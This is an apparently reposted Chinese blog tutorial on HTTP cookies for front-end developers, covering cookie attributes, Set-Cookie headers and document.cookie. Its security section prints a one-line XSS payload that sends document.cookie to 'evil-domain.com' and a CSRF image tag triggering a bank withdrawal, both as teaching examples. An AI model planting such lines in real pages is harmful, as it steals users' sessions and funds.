前端須知的 Cookie 知識

来源:https://www.cnblogs.com/gopal/archive/2022/08/14/16585966.html
-Advertisement-
Play Games

文章已收錄到我的 GitHub 中,歡迎 star cookie 是什麼和使用場景 cookie 是伺服器端保存在瀏覽器的一小段文本信息,瀏覽器每次向伺服器端發出請求,都會附帶上這段信息(不是所有都帶上,具體的下文會介紹)。 使用場景: 對話管理:保存登錄、購物車等需要記錄的信息 個性化:保存用戶的 ...


文章已收錄到我的 GitHub 中,歡迎 star

cookie 是伺服器端保存在瀏覽器的一小段文本信息,瀏覽器每次向伺服器端發出請求,都會附帶上這段信息(不是所有都帶上,具體的下文會介紹)。

使用場景:

  • 對話管理:保存登錄、購物車等需要記錄的信息
  • 個性化:保存用戶的偏好,比如網頁的字體大小、背景色等等
  • 追蹤:記錄和分析用戶的行為

以上用得較多的還是第一種場景。

我們有時候用 cookie 作為客戶端儲存,可行但不推薦。因為 cookie 本身大小有所限制,而且會影響性能。存儲還是應該考慮 localStoragesesseionStorage 或者 indexDB

在瞭解各個屬性之前,我們先打開瀏覽器調試——Application——Cookies——選中一個域。

上面就會有這些 cookie 的名稱,值,DomainPathExpires/Max-ageSizeHTTPSecure

我們接下來就是要講這裡面幾個重要的點:

Expires 和 Max-Age

這兩個屬性涉及到 cookie 的存活時間。

Expires 屬性指定一個具體的到期時間,到了這個指定的時間之後,瀏覽器就不再保留這個 cookie ,它的值是 UTC 格式,可以使用 Date.prototype.toUTCString() 格式進行轉換。

設置如下:

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Max-Age 屬性制定了從現在開始 cookie 存在的秒數,比如 60 * 60 * 24 * 365(即一年)。過了這個時間以後,瀏覽器就不再保留這個 Cookie。

Max-Age 的優先順序會比 Expires 的高,主要的原因 Max-Age 所受的外界因素(比如客戶端的時間可能有誤)比較小。

如果兩者都不設置的,那麼這個 cookie 就是Session Cookie,也一旦關閉瀏覽器,瀏覽器就不會保留這個這個 cookie

Domain 和 path

這兩個屬性決定了,HTTP 請求的時候,哪些請求會帶上哪些 Cookie,具體下麵會做講解。

Secure 和 HttpOnly

Secure 屬性指定瀏覽器只有在加密協議 HTTPS 下,才能將這個 Cookie 發送到伺服器。另一方面,如果當前協議是 HTTP,瀏覽器會自動忽略伺服器發來的 Secure 屬性。該屬性只是一個開關,不需要指定值。如果通信是 HTTPS 協議,該開關自動打開。

設置了 Secure 這個屬性,那麼就會在 Secure 這一欄打鉤。

HttpOnly 屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是 Document.cookie 屬性、XMLHttpRequest 對象和Request API都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發出 HTTP 請求時,才會帶上該 Cookie

設置了 HttpOnly 這個屬性,那麼就會在 HTTP 這一欄打鉤

HTTP response——cookie 生成

如果伺服器端希望在瀏覽器種 cookie,那麼它只需要在 HTTP 請求頭信息中,放置一個 Set-Cookie 的欄位。舉個例子:

Set-Cookie:foo=bar

那麼就會在瀏覽器種保存一個名為 foo,值為 barcookie

除了值之外,還可以設置其他的屬性。

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

當然,一個 Set-Cookie 欄位是可以同時包含多個屬性(而且沒有次序要求),如下所示:

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

註意一點就是,如果你想要使用 Set-Cookie 修改一個已經存在的 cookie 的值,那麼要註意,你必須匹配原有的所有的屬性值(如果存在的話),否則就會生成一個新的 cookie,而不是修改它的值。

比如,原有的 cookie 為:

Set-Cookie: key1=value1; domain=example.com; path=/blog

那麼你正確的修改方式應該是:

Set-Cookie: key1=value2; domain=example.com; path=/blog

如果你的修改方式如下的話:

Set-Cookie: key1=value2; domain=example.com; path=/

就會在瀏覽器端設置兩個同名的 cookie 如下:

Cookie: key1=value1; key1=value2

這不是我們希望看到的!

HTTP request——cookie 發送

這裡涉及到一個問題,是不是每個請求我們都會帶上所有的 cookie,顯然不是的,要不性能就會十分低下了。那麼瀏覽器是根據什麼判別哪些請求會帶上哪些 cookie 呢?

這就跟 Domainpath 屬性息息相關了

比如,現在一個 cookie 它的 Domain 屬性為 www.example.compath 屬性值為 /。意味著,這個 cookie 對該域的根路徑以及它的所有子路徑都有效。如果我們修改了它的 path 值,為 /forums,那麼這個 cookie 只要在訪問 www.example.com/forums 及其子路徑時才會帶上。

會話劫持和XSS

Web 應用中,cookie 常用來標記用戶或授權會話,如果這些信息(cookie)會被竊取,可能導致授權用戶的會話從而網頁收到攻擊,比如:

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 類型的 cookie 就可以組織 Js 對其的訪問從而緩解這種攻擊

跨站點請求偽造(CSRF)

比如某個網站的圖片如下:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

當你打開這個圖片的時候,如果你登錄之前的銀行賬號而且 cookie 仍然有效(還沒有其他驗證的步驟,有點極端),那麼你的賬戶就有可能有危險了。

在瞭解 cookie 自動刪除之前,我們先來瞭解小 cookie 的一些限制條件:

  • 發送到伺服器端的所有 cookie 的最大數量不能超出 4kb,所有超出該限制的 cookie 都會被截斷並且不會發送到伺服器端。
  • IE7 以後限制每個功能變數名稱下 cookie 的數量不得超過 50 個,Opera 限定 cookie 的數量為 30個,SafariChrome 就沒有這種限制。

其限制的原因,主要在於阻止 cookie 的濫用,而且 cookie 會被髮送到伺服器端,如果數量太大的話,會嚴重影響請求的性能。以上這兩個限制條件,就是 cookie 為什麼會被瀏覽器自動刪除的原因了。

自動刪除主要存在以下幾種可能:

  • 會話 cookie(session cookie)在會話結束的時候(瀏覽器關閉)會被刪除。
  • 持久化 cookie(Persistent cookie)在到達失效日期的時候會被刪除。
  • 瀏覽器的 cookie 達到上限,會自動清除,然後為新建的 cookie 騰出空間。

document.cookie

對於前端而言,我們獲取 cookie 和設置 cookie 都是通過 document.cookie 的方式進行的。

獲取如下(當然是這個 cookie 沒有 HttpOnly 屬性)。

可以看到,document.cookie 是將所有的可以讀的 cookie 一次性讀出來的,使用分號分割,所以必須手動的分割。

var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar

寫入cookie

我們可以通過 document.cookie 為當前的網站添加 cookie

document.cookie = 'fontSize=14';

寫入的時候,Cookie 的值必須寫成 key=value 的形式。註意,等號兩邊不能有空格。另外,寫入 Cookie 的時候,必須對分號、逗號和空格進行轉義(它們都不允許作為 Cookie 的值),這可以用 encodeURIComponent 方法達到。

但是,document.cookie一次只能寫入一個 Cookie,而且寫入並不是覆蓋,而是添加。

document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world

寫入 Cookie 的時候,可以一起寫入 Cookie 的屬性。

例如:

document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=*.example.com';

刪除一個現存 Cookie 的唯一方法,是設置它的 expires 屬性為一個過去的日期。

document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';

參考

https://javascript.ruanyifeng.com/bom/cookie.html#toc5

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies

https://segmentfault.com/a/1190000004556040#articleHeader6

https://javascript.ruanyifeng.com/bom/cookie.html#toc5


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 如果程式用到了併發技術,那就要特別留意這種情況:一段代碼需要修改數據,同時其他代碼需要訪問同一個數據。 這種情況就需要考慮同步地訪問數據。 如果下麵三個條件都滿足,就必須用同步來保護共用的數據。 多段代碼正在併發運行; 這幾段代碼在訪問(讀或寫)同一個數據; 至少有一段代碼在修改(寫)數據。 一 阻 ...
  • .NetCore基於SqlSugar和Aop的工作單元模式(UnitOfWork)實現 Unit Of Work 是什麼 Unit Of Work模式,即工作單元,它是一種數據訪問模式。它是用來維護一個由已經被業務修改(如增加、刪除和更新等)的業務對象組成的列表。它負責協調這些業務對象的持久化工作及 ...
  • 名字解析的作用: TCP/IP網路中,設備之間的通信依賴IP地址來實現,但是IP地址不好記憶,所以就將每一臺設備用一個名字來進行標識,但是這個名字電腦不能解析。所以就需要藉助名字解析服務來實現將名字解析為IP地址。 主機名和功能變數名稱的聯繫 主機名: 主機名:電腦的名字,用於唯一標識一臺設備 功能變數名稱: ...
  • Hackaday 在三月份的時候介紹了一款最小的MCU, 華大的 HC32L110B6YA-CSP16TR, CSP16封裝, 尺寸有隻1.6mm x 1.4mm, 還不及一粒米大. HC32L110 (以及其他的Cortex M0華大MCU) 在 Windows 下可以選擇的燒錄選項比較多, 以下... ...
  • 游戲玩家一定會上手的游戲就是拳皇系列了吧,其中最經典的就是拳皇97,現為大家分享的是拳皇97mac版,熟悉的場景,熟悉的操作,原來Mac上打街機也可以這麼der兒,親測拳皇97 for Mac 支持M1 Mac,喜歡的話就來體驗吧。 詳情:拳皇97 for Mac(KOF97) 支持M1 拳皇97m ...
  • mac屏幕解析度如何調整?switchresx mac版可以為您提供控制顯示器解析度所需的工具和功能。您可以管理從MacBook Retina顯示器和Cinema Displays到電視機和投影儀的任何解析度。而且switchresx應用程式能夠根據您當前使用的應用程式自動更改Mac的顯示或顯示分辨 ...
  • 我在整理Hive的存儲格式和壓縮格式,本來打算一篇發出來,結果其中一小節就有很多內容,於是打算寫成Hive存儲格式和壓縮格式系列。 本節主要講一下Hive存儲格式最早的典型的列式存儲格式RCFile。 綜述 RCFile(Record Columnar File)文件格式是FaceBook開源的一種 ...
  • 1 環境搭建 搭建JavaScript開發環境有很多種組合,本文中採用Visual Studio Code和Node.js的組合,詳細如下所示: 1.1 Node.js環境搭建 1.1.1 下載Node.js 不管是基於Windows還是Linux,都需要下載相應的安裝包,到Node.js官網根據系 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...